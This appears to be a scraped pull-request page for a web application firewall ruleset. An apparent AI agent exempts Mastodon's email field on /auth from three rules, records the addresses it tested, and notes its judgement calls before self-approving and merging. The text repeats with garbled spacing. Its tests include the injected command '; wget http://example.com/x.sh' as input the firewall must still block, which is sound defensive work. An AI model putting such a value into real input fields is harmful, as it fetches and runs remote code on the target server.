user[email] on /auth and the paths under it now skips 930120, 932120 and 932260 (rule 900964 in mastodon.conf). It keeps 932250 and every other rule. SQL injection, path traversal, script injection, ls -la and ; wget http://example.com/x.sh stay refused there, with tests.
Recorded from Mastodon 4.7.5 (ghcr.io/mastodon/mastodon@sha256:1cf98fb199f8cc1dcf4bb174095656bd5e19e99f29e935c2a838132083e1f609), through a headless Chrome:
sign-up with river.walker@, python3@, powershell@, ls-la@, htaccess@, notes.htaccess@ and jane.profile@example.com;
sign-in with the four that were refused;
password reset with powershell@example.com;
an email change to python3.notes@example.com.
Things the diff does not show:
Judgement call: the issue names only sign-up. Sign-in, password reset and the account settings form send the same field, so an address that could sign up would still be refused at sign-in. The exclusion covers all of /auth, as the password exclusion does.
Judgement call: 930120 is skipped too. notes.htaccess@example.com and jane.profile@example.com were refused by it; Drupal's mail skips it the same way.
An ordinary request on another field can still be refused.
Model: opus-5-5
Closes https://git.eeqj.de/sneak/smallwebwaf/issues/273.
`user[email]` on `/auth` and the paths under it now skips 930120, 932120 and 932260 (rule 900964 in `mastodon.conf`). It keeps 932250 and every other rule. SQL injection, path traversal, script injection, `ls -la` and `; wget http://example.com/x.sh` stay refused there, with tests.
Recorded from Mastodon 4.7.5 (`ghcr.io/mastodon/mastodon@sha256:1cf98fb199f8cc1dcf4bb174095656bd5e19e99f29e935c2a838132083e1f609`), through a headless Chrome:
- sign-up with `river.walker@`, `python3@`, `powershell@`, `ls-la@`, `htaccess@`, `notes.htaccess@` and `jane.profile@example.com`;
- sign-in with the four that were refused;
- password reset with `powershell@example.com`;
- an email change to `python3.notes@example.com`.
Things the diff does not show:
- Judgement call: the issue names only sign-up. Sign-in, password reset and the account settings form send the same field, so an address that could sign up would still be refused at sign-in. The exclusion covers all of `/auth`, as the password exclusion does.
- Judgement call: 930120 is skipped too. `notes.htaccess@example.com` and `jane.profile@example.com` were refused by it; Drupal's `mail` skips it the same way.
- An ordinary request on another field can still be refused.
Model: opus-5-5
clawbot
self-assigned this 2026-11-10 06:17:14 +01:00
user[email] on /auth and the paths under it skips 930120, 932120 and
932260. They refused signing up, signing in and resetting a password
with addresses such as python3@example.com, powershell@example.com and
jane.profile@example.com. The field keeps 932250 and every other rule.
Recorded from Mastodon 4.7.5: sign-up, sign-in, password reset and an
email change.
Model: opus-5-5
PASS: user[email] on /auth and the paths under it now lets the recorded ordinary addresses through while it still refuses the attacks and ls -la, as #273 requires.
Model: opus-5-5
PASS: `user[email]` on `/auth` and the paths under it now lets the recorded ordinary addresses through while it still refuses the attacks and `ls -la`, as https://git.eeqj.de/sneak/smallwebwaf/issues/273 requires.
Model: opus-5-5
clawbot
merged commit 183a6072d5 into next2026-11-10 06:43:24 +01:00
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Closes #273.
user[email]on/authand the paths under it now skips 930120, 932120 and 932260 (rule 900964 inmastodon.conf). It keeps 932250 and every other rule. SQL injection, path traversal, script injection,ls -laand; wget http://example.com/x.shstay refused there, with tests.Recorded from Mastodon 4.7.5 (
ghcr.io/mastodon/mastodon@sha256:1cf98fb199f8cc1dcf4bb174095656bd5e19e99f29e935c2a838132083e1f609), through a headless Chrome:river.walker@,python3@,powershell@,ls-la@,htaccess@,notes.htaccess@andjane.profile@example.com;powershell@example.com;python3.notes@example.com.Things the diff does not show:
/auth, as the password exclusion does.notes.htaccess@example.comandjane.profile@example.comwere refused by it; Drupal'smailskips it the same way.Model: opus-5-5
PASS:
user[email]on/authand the paths under it now lets the recorded ordinary addresses through while it still refuses the attacks andls -la, as #273 requires.Model: opus-5-5